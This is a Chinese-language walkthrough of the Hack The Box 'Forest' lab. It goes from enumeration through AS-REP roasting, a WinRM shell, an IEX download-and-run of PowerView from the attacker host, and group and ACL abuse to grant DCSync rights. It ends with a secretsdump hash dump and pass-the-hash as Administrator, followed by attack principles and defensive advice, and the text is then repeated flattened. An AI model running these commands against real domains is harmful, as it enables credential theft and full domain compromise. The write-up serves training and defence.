域渗透实战之Forest
字数 1329 2025-08-24 07:48:23

域渗透实战之Forest:从信息收集到DCSync攻击

1. 信息收集阶段

1.1 端口扫描与识别

使用nmap进行初始扫描:

nmap -p- 目标IP
nmap -sV -p 目标端口 目标IP

关键发现:

  • 5985端口开放(WinRM服务)
  • 445端口开放(SMB服务)
  • 53端口开放(DNS服务)

1.2 SMB枚举

使用smbclient进行匿名枚举:

smbclient -L //目标IP -N

1.3 RPC用户枚举

使用空会话枚举用户:

rpcclient -U "" 目标IP -N

常用命令:

enumdomusers
enumdomgroups
querygroup 0x200
queryusergroups 0x用户RID

1.4 Kerberos预认证检查

检查哪些用户没有启用Kerberos预认证:

GetNPUsers.py htb.local/ -no-pass -usersfile users.txt

2. AS-REP Roasting攻击

2.1 识别易受攻击用户

发现svc-alfresco用户没有启用Kerberos预认证

2.2 获取AS-REP哈希

GetNPUsers.py htb.local/svc-alfresco -no-pass -dc-ip 目标IP

2.3 破解哈希

使用hashcat破解:

hashcat -m 18200 hash.txt rockyou.txt

3. 初始访问

3.1 通过WinRM获取shell

使用破解的凭据连接WinRM:

evil-winrm -i 目标IP -u svc-alfresco -p 密码

4. 权限提升路径

4.1 使用BloodHound分析

发现关键权限链:

  1. svc-alfresco是"Account Operators"组成员
  2. "Account Operators"对"Exchange Windows Permissions"有GenericAll权限
  3. "Exchange Windows Permissions"对域有WriteDACL权限

4.2 手动枚举验证

net user /domain
net group /domain
net user svc-alfresco /domain

5. 权限提升实施

5.1 上传PowerView.ps1

IEX(New-Object Net.WebClient).DownloadString('http://攻击机/PowerView.ps1')

5.2 确认组成员关系

Get-DomainGroup -MemberIdentity 'svc-alfresco' | select samaccountname

5.3 创建新用户并添加到特权组

net user /add testz1 testz1@qq.com /domain
net group "Exchange Windows Permissions" testz1 /add /domain
net group "Remote Management Users" testz1 /add /domain

5.4 授予DCSync权限

$SecPassword = ConvertTo-SecureString 'testz1@qq.com' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB.local\testz1', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity testz1 -Rights DCSync

6. DCSync攻击

6.1 使用secretsdump.py转储哈希

secretsdump.py htb.local/testz1:testz1@qq.com@目标IP

6.2 哈希传递攻击

使用管理员哈希进行横向移动:

evil-winrm -i 目标IP -u Administrator -H 管理员NTLM哈希

7. 技术原理详解

7.1 DCSync攻击原理

DCSync通过模拟域控制器,使用DRS服务的GetNCChanges接口请求数据同步。攻击者需要具备以下任一权限:

  • Administrators组成员
  • Domain Admins组成员
  • Enterprise Admins组成员
  • 域控制器的计算机帐户

7.2 DCShadow攻击原理(补充)

虽然本案例未使用,但相关技术要点:

  1. 在AD中注册伪造的DC(创建NTDS-DSA对象)
  2. 使伪造DC被其他DC认可
  3. 触发域复制将恶意数据同步到其他DC

8. 防御建议

  1. 禁用不必要的老旧协议:如SMBv1、LLMNR等
  2. 启用所有用户的Kerberos预认证
  3. 限制敏感组的成员资格:特别是"Account Operators"、"Exchange Windows Permissions"等
  4. 监控DCSync活动:设置警报检测异常DCSync请求
  5. 实施最小权限原则:避免过度授权
  6. 定期审计ACL:检查域对象上的异常权限

9. 总结

本案例展示了从初始信息收集到完全域控的完整攻击链,关键点包括:

  1. 通过AS-REP Roasting获取初始凭据
  2. 利用BloodHound识别权限链
  3. 滥用Account Operators权限添加用户到特权组
  4. 通过WriteDACL权限授予DCSync权限
  5. 最终通过DCSync获取域控哈希

这种攻击方式在具有复杂信任关系的多域环境中尤为有效,强调了在域环境中严格权限管理和持续监控的重要性。

域渗透实战之Forest:从信息收集到DCSync攻击 1. 信息收集阶段 1.1 端口扫描与识别 使用nmap进行初始扫描: 关键发现: 5985端口开放(WinRM服务) 445端口开放(SMB服务) 53端口开放(DNS服务) 1.2 SMB枚举 使用smbclient进行匿名枚举: 1.3 RPC用户枚举 使用空会话枚举用户: 常用命令: 1.4 Kerberos预认证检查 检查哪些用户没有启用Kerberos预认证: 2. AS-REP Roasting攻击 2.1 识别易受攻击用户 发现svc-alfresco用户没有启用Kerberos预认证 2.2 获取AS-REP哈希 2.3 破解哈希 使用hashcat破解: 3. 初始访问 3.1 通过WinRM获取shell 使用破解的凭据连接WinRM: 4. 权限提升路径 4.1 使用BloodHound分析 发现关键权限链: svc-alfresco是"Account Operators"组成员 "Account Operators"对"Exchange Windows Permissions"有GenericAll权限 "Exchange Windows Permissions"对域有WriteDACL权限 4.2 手动枚举验证 5. 权限提升实施 5.1 上传PowerView.ps1 5.2 确认组成员关系 5.3 创建新用户并添加到特权组 5.4 授予DCSync权限 6. DCSync攻击 6.1 使用secretsdump.py转储哈希 6.2 哈希传递攻击 使用管理员哈希进行横向移动: 7. 技术原理详解 7.1 DCSync攻击原理 DCSync通过模拟域控制器,使用DRS服务的GetNCChanges接口请求数据同步。攻击者需要具备以下任一权限: Administrators组成员 Domain Admins组成员 Enterprise Admins组成员 域控制器的计算机帐户 7.2 DCShadow攻击原理(补充) 虽然本案例未使用,但相关技术要点: 在AD中注册伪造的DC(创建NTDS-DSA对象) 使伪造DC被其他DC认可 触发域复制将恶意数据同步到其他DC 8. 防御建议 禁用不必要的老旧协议 :如SMBv1、LLMNR等 启用所有用户的Kerberos预认证 限制敏感组的成员资格 :特别是"Account Operators"、"Exchange Windows Permissions"等 监控DCSync活动 :设置警报检测异常DCSync请求 实施最小权限原则 :避免过度授权 定期审计ACL :检查域对象上的异常权限 9. 总结 本案例展示了从初始信息收集到完全域控的完整攻击链,关键点包括: 通过AS-REP Roasting获取初始凭据 利用BloodHound识别权限链 滥用Account Operators权限添加用户到特权组 通过WriteDACL权限授予DCSync权限 最终通过DCSync获取域控哈希 这种攻击方式在具有复杂信任关系的多域环境中尤为有效,强调了在域环境中严格权限管理和持续监控的重要性。